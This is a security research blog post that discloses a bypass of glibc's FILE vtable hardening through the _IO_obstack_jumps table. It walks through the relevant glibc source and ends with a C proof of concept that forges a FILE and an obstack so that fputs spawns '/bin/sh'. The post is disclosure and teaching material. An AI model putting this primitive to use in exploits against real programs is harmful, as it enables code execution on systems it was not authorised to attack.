Another FILE VTable Bypass



This post describes a technique for bypassing existing hardening of FILE vtable values in order to gain arbitrary code execution. This technique is known to work as of glibc 2.32.

I reported this bypass to the glibc maintainers on December 28, 2020.

Background

C’s FILE structures are complicated objects with a long history attackers of abusing them to gain execution control.

For the purposes of this post, we will focus on the polymorphism of FILE structures which is implemented by embedding a vtable pointer in the structure.

324
325
326
327
328
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

This allows glibc to have multiple backing implementations of FILE that all work with the same public APIs.

In early versions of glibc, an attacker could overwrite the vtable field of a _IO_FILE_plus to point to a fake jump table, at which point invoking any file operation on the FILE would pass execution to an attacker controlled function pointer. This technique is described by Kees Cook in Abusing the FILE structure and was patched in glibc 2.24.

The hardening to mitigate vtable abuse attacks introduced a check before dereferencing a vtable pointer that ensured that the referenced vtable resided in the region of libc’s memory that contains the official FILE vtables.

937
938
939
940
941
942
943
944
945
946
947
948
949
950
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

This prevents an attacker from crafting and using their own vtable objects. However, as noted by Dhaval Kapil in FILE Structure Exploitation, glibc includes a variety of different FILE implementations with their own vtables:

_IO_helper_jumps
_IO_helper_jumps
_IO_str_chk_jumps
_IO_mem_jumps
_IO_strn_jumps
_IO_cookie_jumps
_IO_old_cookie_jumps
_IO_wstrn_jumps
_IO_old_proc_jumps
_IO_file_jumps
_IO_file_jumps_mmap
_IO_file_jumps_maybe_mmap
_IO_proc_jumps
_IO_str_jumps
_IO_old_file_jumps
_IO_obstack_jumps
_IO_wmem_jumps
_IO_wstr_jumps
_IO_wfile_jumps
_IO_wfile_jumps_mmap
_IO_wfile_jumps_maybe_mmap

If a function referenced by one of these official vtables passes execution to an unvalidated function pointer an attacker could obtain execution control by providing a vtable value that causes the vulnerable function to execute.

Dhaval Kapil identified one such function, _IO_str_overflow, in the _IO_str_jumps jump table. This function reads a pointer out of the FILE structure and executes it when more memory is needed for an internal buffer.

This technique was patched in glibc 2.28 by changing _IO_str_overflow to use malloc and free instead of function pointers embedded in the FILE structure.

Bypass

Like the _IO_str_jumps vtable before glibc 2.28, the _IO_obstack_jumps contains references to functions that dereference unvalidated pointers. Understanding how to trigger this behavior requires a basic understanding of the obstack APIs.

Obstacks

An obstack is an interface for allocating a stack of objects of arbitrary size. The interface provides a layer of abstraction above heap allocation APIs like malloc and will allocate chunks from an allocator as needed with individual objects allocated by the obstack potentially sharing the same underlying buffer.

In glibc, an obstack is initialized by defining the macros obstack_chunk_alloc and obstack_chunk_free to specify the underlying allocator and then calling obstack_init.

228
229
230
231
#define obstack_init(h)                                                        \
  _obstack_begin ((h), 0, 0,                                                   \
                  (void *(*)(long))obstack_chunk_alloc,                        \
                  (void (*)(void *))obstack_chunk_free)

This will initialize a structure and store the caller specified allocation and freeing function in the chunkfun and freefun fields of the obstack structure.

153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
struct obstack          /* control current object in current chunk */
{
  long chunk_size;              /* preferred size to allocate chunks in */
  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
  char *object_base;            /* address of object we are building */
  char *next_free;              /* where to add next char to current object */
  char *chunk_limit;            /* address of char after current chunk */
  union
  {
    PTR_INT_TYPE tempint;
    void *tempptr;
  } temp;                       /* Temporary for some macros.  */
  int alignment_mask;           /* Mask of alignment for each object. */
  /* These prototypes vary based on 'use_extra_arg', and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
  struct _obstack_chunk *(*chunkfun) (void *, long);
  void (*freefun) (void *, struct _obstack_chunk *);
  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */
  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */
  unsigned maybe_empty_object : 1; /* There is a possibility that the current
                                      chunk contains a zero-length object.  This
                                      prevents freeing the chunk if we allocate
                                      a bigger chunk to replace it. */
  unsigned alloc_failed : 1;      /* No longer used, as we now call the failed
                                     handler on error, but retained for binary
                                     compatibility.  */
};

The obstack_grow macro is used when the user wishes to allocate and copy data into a new obstack allocation. If there is sufficient space in the most recent chunk it will be used otherwise a new chunk will be allocated.

296
297
298
299
300
301
302
303
304
# define obstack_grow(OBSTACK, where, length)                                  \
  __extension__                                                                \
    ({ struct obstack *__o = (OBSTACK);                                        \
       int __len = (length);                                                   \
       if (__o->next_free + __len > __o->chunk_limit)                          \
         _obstack_newchunk (__o, __len);                                       \
       memcpy (__o->next_free, where, __len);                                  \
       __o->next_free += __len;                                                \
       (void) 0; })

Allocation of a new chunk is handled by _obstack_chunk which calls the CALL_CHUNKFUN macro which finally invokes the custom allocator.

244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
void
_obstack_newchunk (struct obstack *h, int length)
{
  struct _obstack_chunk *old_chunk = h->chunk;
  struct _obstack_chunk *new_chunk;
  long new_size;
  long obj_size = h->next_free - h->object_base;
  long i;
  long already;
  char *object_base;

  /* Compute size for new chunk.  */
  new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
  if (new_size < h->chunk_size)
    new_size = h->chunk_size;

  /* Allocate and initialize the new chunk.  */
  new_chunk = CALL_CHUNKFUN (h, new_size);
  if (!new_chunk)
    (*obstack_alloc_failed_handler)();
121
122
123
124
# define CALL_CHUNKFUN(h, size) \
  (((h)->use_extra_arg)                                                        \
   ? (*(h)->chunkfun)((h)->extra_arg, (size))                                  \
   : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

Note that the CALL_CHUNKFUN macro checks the use_extra_arg field of the obstack and, if true, passes the extra_arg field as the first parameter to the custom allocator.

Obstack Files

Glibc provides a FILE implementation that writes data into an obstack, _IO_obstack_file.

32
33
34
35
36
struct _IO_obstack_file
{
  struct _IO_FILE_plus file;
  struct obstack *obstack;
};
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, NULL),
  JUMP_INIT(overflow, _IO_obstack_overflow),
  JUMP_INIT(underflow, NULL),
  JUMP_INIT(uflow, NULL),
  JUMP_INIT(pbackfail, NULL),
  JUMP_INIT(xsputn, _IO_obstack_xsputn),
  JUMP_INIT(xsgetn, NULL),
  JUMP_INIT(seekoff, NULL),
  JUMP_INIT(seekpos, NULL),
  JUMP_INIT(setbuf, NULL),
  JUMP_INIT(sync, NULL),
  JUMP_INIT(doallocate, NULL),
  JUMP_INIT(read, NULL),
  JUMP_INIT(write, NULL),
  JUMP_INIT(seek, NULL),
  JUMP_INIT(close, NULL),
  JUMP_INIT(stat, NULL),
  JUMP_INIT(showmanyc, NULL),
  JUMP_INIT(imbue, NULL)
};

The jump table is very minimal but does contain two interesting functions, both of which attempt to grow the associated obstack.

Either can be used for exploitation, for the purposes of demonstration let’s focus on _IO_obstack_xsputn.

62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
static size_t
_IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

  if (fp->_IO_write_ptr + n > fp->_IO_write_end)
    {
      int size;

      /* We need some more memory.  First shrink the buffer to the
         space we really currently need.  */
      obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);

      /* Now grow for N bytes, and put the data there.  */
      obstack_grow (obstack, data, n);

      /* Setup the buffer pointers again.  */
      fp->_IO_write_base = obstack_base (obstack);
      fp->_IO_write_ptr = obstack_next_free (obstack);
      size = obstack_room (obstack);
      fp->_IO_write_end = fp->_IO_write_ptr + size;
      /* Now allocate the rest of the current chunk.  */
      obstack_blank_fast (obstack, size);
    }
  else
    fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);

  return n;
}

If writing n bytes to the _IO_write_ptr will overflow beyond _IO_write_end, then _IO_obstack_xsputn will invoke obstack_grow which in turn may invoke the chunkfun allocator.

Summary

Putting this all together, to achieve execution control with a fake or modified FILE structure the following conditions must be met:

  1. The vtable of the FILE must point into the _IO_obstack_jumps region such that _IO_obstack_xsputn is the next vtable method invoked on the FILE.
  2. The address just after the vtable of the FILE will be interpreted as an obstack pointer and must point to attacker controlled memory.
  3. The expression fp->_IO_write_ptr + n > fp->_IO_write_end must evaluate to true where fp is the fake FILE and n is an argument to _IO_obstack_xsputn
  4. The expression obstack->next_free + n > obstack->chunk_limit must evaluate to true where obstack is the attacker controlled obstack object and n is the length passed to _IO_obstack_xsputn.

Example

// An example of spawning a shell via a forged FILE by way of the
// _IO_obstack_jumps vtable.
//
// Run with:
//   $ gcc -o example example.c && ./example

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) {
  // Place a shell command in a known region of memory.
  char *shell_command = (char *) malloc(0x10);
  strcpy(shell_command, "/bin/sh");

  // Construct a fake obstack struct where the chunkfun allocator function
  // points to system and the extra_arg field points to the location of the
  // shell command to execute.
  uintptr_t *fake_obstack = (uintptr_t *) malloc(0x100);
  fake_obstack[3] = 1;                         /* next_free */
  fake_obstack[4] = 0;                         /* chunk_limit */
  fake_obstack[7] = (uintptr_t) &system;       /* chunkfun */
  fake_obstack[9] = (uintptr_t) shell_command; /* extra_arg */
  fake_obstack[10] = -1;                       /* use_extra_arg */

  // Grab a reference to the _IO_file_jumps vtable from one of the standard IO
  // FILE structs.
  uintptr_t _IO_file_jumps = ((uintptr_t *) stdin)[27];
  // The obstack vtable is located at an offset from the file vtable. The exact
  // value may depend on the specific libc build.
  uintptr_t _IO_obstack_jumps = _IO_file_jumps - 0x240;

  // Construct a fake FILE object with a vtable pointing to the
  // _IO_obstack_jumps vtable and the obstack field pointing to the fake obstack
  // above.
  //
  // Going through fputs requires the file lock to point to a valid region of
  // memory. Locking will succeed if the value pointed to by the lock is null.
  // For this example, reuse the fake FILE struct.
  uintptr_t *fake_file = (uintptr_t *) malloc(0x300);
  fake_file[6] = 1;                         /* write_ptr */
  fake_file[7] = 0;                         /* write_end */
  fake_file[17] = (uintptr_t) fake_file;    /* lock */
  fake_file[27] = _IO_obstack_jumps;        /* vtable */
  fake_file[28] = (uintptr_t) fake_obstack; /* obstack */

  // Trigger a function that will invoke the sputn vtable method which will in
  // turn spawn a shell.
  fputs("hello world", (FILE *) fake_file);
}
© Will Coster